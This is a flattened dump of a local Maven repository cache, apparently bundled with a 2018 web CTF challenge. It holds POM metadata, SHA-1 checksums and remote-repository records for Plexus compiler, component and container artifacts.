plexus-compiler-manager-2.5.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.jar.sha1 ================================================ 4ade4f1150252ceaf7d0fa8745993fbb2e623a3f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-compiler 2.5 plexus-compiler-manager Plexus Compiler Manager org.codehaus.plexus plexus-compiler-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.pom.sha1 ================================================ 3a1142b4c4f0ec11bcd78ca408314d74abb8b416 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:02 CST 2018 plexus-compilers-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/plexus-compilers-2.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-compiler 2.5 plexus-compilers pom Plexus Compilers plexus-compiler-aspectj plexus-compiler-csharp plexus-compiler-eclipse plexus-compiler-jikes plexus-compiler-javac plexus-compiler-javac-errorprone junit junit test org.codehaus.plexus plexus-compiler-api org.codehaus.plexus plexus-compiler-test test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/plexus-compilers-2.5.pom.sha1 ================================================ fcea88e94c502233bcb1ef9a5a9f7fa8a562d1e9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-component-annotations-1.5.5.jar>central= plexus-component-annotations-1.5.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar.sha1 ================================================ c72f2660d0cbed24246ddb55d7fdc4f7374d2078 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-containers 1.5.5 plexus-component-annotations Plexus :: Component Annotations Plexus Component "Java 5" Annotations, to describe plexus components properties in java sources with standard annotations instead of javadoc annotations. ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom.sha1 ================================================ fd506865d5d083d8cef9fdbf525ad99fcc3416c1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:03 CST 2018 plexus-components-1.1.12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom ================================================ 4.0.0 plexus org.codehaus.plexus 1.0.10 ../pom/pom.xml org.codehaus.plexus plexus-components pom 1.1.12 Plexus Components Parent Project http://plexus.codehaus.org/plexus-components org.codehaus.plexus plexus-component-api 1.0-alpha-20 org.codehaus.plexus plexus-container-default 1.0-alpha-20 test plexus-action plexus-archiver plexus-bayesian plexus-command plexus-compiler plexus-drools plexus-formica plexus-formica-web plexus-hibernate plexus-i18n plexus-interactivity plexus-ircbot plexus-jdo plexus-jetty-httpd plexus-jetty plexus-mimetyper plexus-mail-sender plexus-notification plexus-resources plexus-taskqueue plexus-velocity plexus-xmlrpc scm:svn:http://svn.codehaus.org/plexus/plexus-components/trunk/ scm:svn:https://svn.codehaus.org/plexus/plexus-components/trunk http://fisheye.codehaus.org/browse/plexus/plexus-components/trunk/ org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor maven-javadoc-plugin maven-jxr-plugin org.codehaus.plexus plexus-maven-plugin 1.3.4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom.sha1 ================================================ e7332a35914684bab5dd1718aea0202fa5a2bb0d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:39 CST 2018 plexus-components-1.1.14.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.2 ../pom/pom.xml org.codehaus.plexus plexus-components 1.1.14 pom Plexus Components Parent Project http://plexus.codehaus.org/plexus-components scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.14 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.14 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.14 JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.5 junit junit 3.8.2 test maven-compiler-plugin 1.4 1.4 org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml org.codehaus.mojo taglist-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2ee/1.4/docs/api http://junit.sourceforge.net/javadoc/ javadoc test-javadoc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.14/plexus-components-1.1.14.pom.sha1 ================================================ aed78d67ee20a5038741c7cc2a8124ae20c960ad ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:41 CST 2018 plexus-components-1.1.15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/plexus-components-1.1.15.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.3 ../pom/pom.xml org.codehaus.plexus plexus-components 1.1.15 pom Plexus Components http://plexus.codehaus.org/plexus-components plexus-archiver plexus-cli plexus-compiler plexus-digest plexus-i18n plexus-interactivity plexus-interpolation plexus-io plexus-resources plexus-velocity scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.15 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.15 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.15 JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.5 junit junit 3.8.2 test maven-compiler-plugin 1.4 1.4 org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.15/plexus-components-1.1.15.pom.sha1 ================================================ 44366f11d5b9571c16829ae7f0a7f20e116f6260 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:54 CST 2018 plexus-components-1.1.17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/plexus-components-1.1.17.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.5 ../pom/pom.xml org.codehaus.plexus plexus-components 1.1.17 pom Plexus Components http://plexus.codehaus.org/plexus-components plexus-archiver plexus-cli plexus-compiler plexus-digest plexus-i18n plexus-interactivity plexus-interpolation plexus-io plexus-resources plexus-velocity scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.17 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.17 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.17 JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.5 junit junit 3.8.2 test maven-compiler-plugin 1.4 1.4 org.codehaus.plexus plexus-component-metadata 1.5.1 generate-metadata maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 2.1 false attach-descriptor attach-descriptor m2e m2e.version target ${m2BuildDirectory} org.maven.ide.eclipse lifecycle-mapping 0.9.9-SNAPSHOT customizable org.apache.maven.plugins:maven-resources-plugin:: org.apache.maven.plugins maven-resources-plugin 2.5-SNAPSHOT ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.17/plexus-components-1.1.17.pom.sha1 ================================================ 9c09b4388c02db50d9aec045e4f38660928ebb91 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:12 CST 2018 plexus-components-1.1.18.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.7 ../pom/pom.xml org.codehaus.plexus plexus-components 1.1.18 pom Plexus Components http://plexus.codehaus.org/plexus-components plexus-archiver plexus-cli plexus-compiler plexus-digest plexus-i18n plexus-interactivity plexus-interpolation plexus-io plexus-resources plexus-velocity scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.18 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-components-1.1.18 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-components-1.1.18 JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.5 junit junit 3.8.2 test maven-compiler-plugin 1.4 1.4 org.codehaus.plexus plexus-component-metadata 1.5.4 generate-metadata parent-release maven-release-plugin -N -Pplexus-release maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 2.1 false attach-descriptor attach-descriptor m2e m2e.version target ${m2BuildDirectory} org.maven.ide.eclipse lifecycle-mapping 0.10.0 customizable org.apache.maven.plugins:maven-resources-plugin:: ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.18/plexus-components-1.1.18.pom.sha1 ================================================ 41abf89f075e6b912a2ff728aa002e98591de425 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:50 CST 2018 plexus-components-1.1.19.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/plexus-components-1.1.19.pom ================================================ 4.0.0 org.codehaus.plexus plexus 3.0.1 ../pom/pom.xml plexus-components 1.1.19 pom Plexus Components http://plexus.codehaus.org/plexus-components plexus-cli plexus-digest plexus-i18n plexus-interactivity plexus-resources plexus-velocity scm:git:git@github.com:sonatype/plexus-components.git scm:git:git@github.com:sonatype/plexus-components.git http://github.com/sonatype/plexus-components JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 3.0 junit junit 3.8.2 test org.codehaus.plexus plexus-component-metadata generate-metadata parent-release maven-release-plugin -N -Pplexus-release ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.19/plexus-components-1.1.19.pom.sha1 ================================================ 2c0f4d3bcbcdd8f77521502d886681ed5af38a25 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:25 CST 2018 plexus-components-1.1.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/plexus-components-1.1.7.pom ================================================ 4.0.0 plexus org.codehaus.plexus 1.0.8 org.codehaus.plexus plexus-components pom 1.1.7 Plexus Components Parent Project org.codehaus.plexus plexus-container-default 1.0-alpha-8 plexus-action plexus-archiver plexus-bayesian plexus-command plexus-compiler plexus-drools plexus-formica plexus-formica-web plexus-hibernate plexus-i18n plexus-interactivity plexus-ircbot plexus-jdo plexus-jetty-httpd plexus-jetty plexus-mimetyper plexus-mail-sender plexus-notification plexus-resources plexus-taskqueue plexus-velocity plexus-xmlrpc scm:svn:http://svn.codehaus.org/plexus/plexus-components/trunk/ scm:svn:https://svn.codehaus.org/plexus/plexus-components/trunk http://fisheye.codehaus.org/browse/plexus/plexus-components/trunk/ org.codehaus.plexus plexus-maven-plugin 1.3.2 descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.7/plexus-components-1.1.7.pom.sha1 ================================================ 5fcdd5b77b86b603af118b70281f48539031a9f3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:58 CST 2018 plexus-components-1.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom ================================================ 4.0.0 org.codehaus.plexus plexus 3.3.1 ../pom/pom.xml plexus-components 1.3.1 pom Plexus Components http://plexus.codehaus.org/plexus-components scm:git:git@github.com:sonatype/plexus-components.git scm:git:git@github.com:sonatype/plexus-components.git http://github.com/sonatype/plexus-components plexus-components-1.3.1 JIRA http://jira.codehaus.org/browse/PLXCOMP org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 3.0.8 junit junit 3.8.2 test org.codehaus.plexus plexus-component-metadata generate-metadata parent-release maven-release-plugin -N -Pplexus-release plexus.snapshots https://oss.sonatype.org/content/repositories/plexus-snapshots false true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom.sha1 ================================================ 4daaf2af8e09587eb3837b80252473d6f423c0f7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:04 CST 2018 plexus-container-default-1.0-alpha-20.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/plexus-container-default-1.0-alpha-20.pom ================================================ 4.0.0 org.codehaus.plexus plexus-containers 1.0-alpha-20 plexus-container-default Default Plexus Container 1.0-alpha-20 maven-surefire-plugin once **/Test*.java **/Abstract*.java maven-assembly-plugin jar-with-dependencies org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-classworlds jmock jmock 1.0.1 test maven-pmd-plugin maven-javadoc-plugin http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/ http://jakarta.apache.org/commons/dbcp/apidocs/ http://jakarta.apache.org/commons/fileupload/apidocs/ http://jakarta.apache.org/commons/httpclient/apidocs/ http://jakarta.apache.org/commons/logging/apidocs/ http://jakarta.apache.org/commons/pool/apidocs/ http://www.junit.org/junit/javadoc/ http://logging.apache.org/log4j/docs/api/ http://jakarta.apache.org/regexp/apidocs/ http://jakarta.apache.org/velocity/api/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/plexus-container-default-1.0-alpha-20.pom.sha1 ================================================ 911e3b5962b6485fd2fac68fa1af066f36388320 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 plexus-container-default-1.0-alpha-30.pom>central= plexus-container-default-1.0-alpha-30.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.jar.sha1 ================================================ 669d4ba8e898e37987eb5e30b121ed1d62c5b7b8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.pom ================================================ plexus-containers org.codehaus.plexus 1.0-alpha-30 4.0.0 plexus-container-default Default Plexus Container 1.0-alpha-30 maven-surefire-plugin once **/Test*.java **/Abstract*.java org.codehaus.mojo shade-maven-plugin 1.0-alpha-9 package shade classworlds:classworlds junit:junit jmock:jmock org.codehaus.plexus:plexus-classworlds org.codehaus.plexus:plexus-utils org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-classworlds jmock jmock 1.0.1 test maven-javadoc-plugin http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/ http://jakarta.apache.org/commons/dbcp/apidocs/ http://jakarta.apache.org/commons/fileupload/apidocs/ http://jakarta.apache.org/commons/httpclient/apidocs/ http://jakarta.apache.org/commons/logging/apidocs/ http://jakarta.apache.org/commons/pool/apidocs/ http://www.junit.org/junit/javadoc/ http://logging.apache.org/log4j/docs/api/ http://jakarta.apache.org/regexp/apidocs/ http://jakarta.apache.org/velocity/api/ maven-pmd-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.pom.sha1 ================================================ aa1efeb7ed05a3c5037cc194b9e8fbf97e52268a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:27 CST 2018 plexus-container-default-1.0-alpha-8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom ================================================ 4.0.0 org.codehaus.plexus plexus-container-default Default Plexus Container 1.0-alpha-8
      dev@plexus.codehaus.org
      irc 6667 #plexus irc.codehaus.org
      2001 Plexus Developer List http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/mailman/listinfo/plexus-dev http://lists.codehaus.org/pipermail/plexus-dev/ jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer trygvis Trygve Laugstol trygvis@codehaus.org Developer kenney Kenney Westerhof kenney@codehaus.org Developer scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-containers/plexus-container-default scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-containers/plexus-container-default Codehaus http://www.codehaus.org/ src/main/java src/main/scripts src/test/java target/classes target/test-classes src/main/resources src/test/resources target plexus-container-default-1.0-alpha-8 maven-release-plugin 2.0-beta-2 https://svn.codehaus.org/plexus/tags maven-surefire-plugin 2.0-beta-1 **/Test*.java **/Abstract*.java false snapshots Maven Snapshot Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Repository Switchboard http://repo1.maven.org/maven2 false snapshots-plugins Maven Snapshot Plugins Development Repository http://snapshots.maven.codehaus.org/maven2 false central Maven Plugin Repository http://repo1.maven.org/maven2 org.codehaus.plexus plexus-utils 1.0.4 compile junit junit 3.8.1 compile classworlds classworlds 1.1-alpha-2 compile target/site repo1 Maven Central Repository scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2 snapshots Maven Central Development Repository scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2 deployed
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom.sha1 ================================================ 3324c2065311b5cd636d3fe37353fe7558a6ec22 /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:12 CST 2018 plexus-container-default-1.0-alpha-9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom ================================================ plexus-containers org.codehaus.plexus 1.0.3 4.0.0 plexus-container-default Default Plexus Container 1.0-alpha-9 maven-surefire-plugin **/Test*.java **/Abstract*.java junit junit 3.8.1 compile org.codehaus.plexus plexus-utils 1.0.4 classworlds classworlds 1.1-alpha-2 deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom.sha1 ================================================ d00c65ec36fb3cc8c755182a7ee52d3d80340179 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 plexus-container-default-1.0-alpha-9-stable-1.jar>central= plexus-container-default-1.0-alpha-9-stable-1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.jar.sha1 ================================================ 94aea3010e250a334d9dab7f591114cd6c767458 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom ================================================ plexus-containers org.codehaus.plexus 1.0.3 4.0.0 plexus-container-default Default Plexus Container 1.0-alpha-9-stable-1 maven-surefire-plugin **/Test*.java **/Abstract*.java org.apache.maven.wagon wagon-webdav 1.0-beta-2 junit junit 3.8.1 compile org.codehaus.plexus plexus-utils 1.0.4 classworlds classworlds 1.1-alpha-2 codehaus.org Plexus Central Repository dav:https://dav.codehaus.org/repository/plexus codehaus.org Plexus Central Development Repository dav:https://dav.codehaus.org/snapshots.repository/plexus codehaus.org dav:https://dav.codehaus.org/plexus ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom.sha1 ================================================ f557cb47f4594ac941d0edf08093a03ce15b51ba ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-container-default-1.5.5.jar>central= plexus-container-default-1.5.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.jar.sha1 ================================================ 0265fa2851d31c2e2177859a518987595efe146b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-containers 1.5.5 plexus-container-default Plexus :: Default Container The Plexus IoC container API and its default implementation. org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-classworlds org.apache.xbean xbean-reflect com.google.collections google-collections junit junit maven-surefire-plugin once **/Test*.java **/Abstract*.java org.codehaus.modello modello-maven-plugin 1.1 src/main/mdo/components.mdo src/main/mdo/plexus.mdo 1.3.0 xsd-site pre-site xsd ${basedir}/target/generated-site/resources/xsd descriptor-site pre-site xdoc 1.0.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.pom.sha1 ================================================ f68a6d3761cfdfdf1e13ce2c18327c514acad611 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:05 CST 2018 plexus-containers-1.0-alpha-20.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/plexus-containers-1.0-alpha-20.pom ================================================ 4.0.0 org.codehaus.plexus plexus 1.0.10 org.codehaus.plexus plexus-containers pom Parent Plexus Container POM 1.0-alpha-20 plexus-component-api plexus-container-default scm:svn:http://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20 scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20 http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20 junit junit 3.8.1 compile org.codehaus.plexus plexus-classworlds 1.2-alpha-7 org.codehaus.plexus plexus-component-api 1.0-alpha-19 org.codehaus.plexus plexus-utils 1.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/plexus-containers-1.0-alpha-20.pom.sha1 ================================================ 5e436ba5a20b19e6b840f087e12e1c993b427de0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:49 CST 2018 plexus-containers-1.0-alpha-30.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/plexus-containers-1.0-alpha-30.pom ================================================ 4.0.0 org.codehaus.plexus plexus 1.0.11 org.codehaus.plexus plexus-containers pom Parent Plexus Container POM 1.0-alpha-30 plexus-component-api plexus-container-default scm:svn:http://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30 scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30 http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30 junit junit 3.8.1 compile org.codehaus.plexus plexus-classworlds 1.2-alpha-9 org.codehaus.plexus plexus-utils 1.4.5 org.codehaus.plexus plexus-component-api 1.0-alpha-30 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/plexus-containers-1.0-alpha-30.pom.sha1 ================================================ 8b6330c46076c52825feb050aa27c550b24b4a17 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:16 CST 2018 plexus-containers-1.0.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom ================================================ 4.0.0 org.codehaus.plexus plexus 1.0.4 org.codehaus.plexus plexus-containers pom Parent Plexus Container POM 1.0.3 plexus-container-artifact plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom.sha1 ================================================ 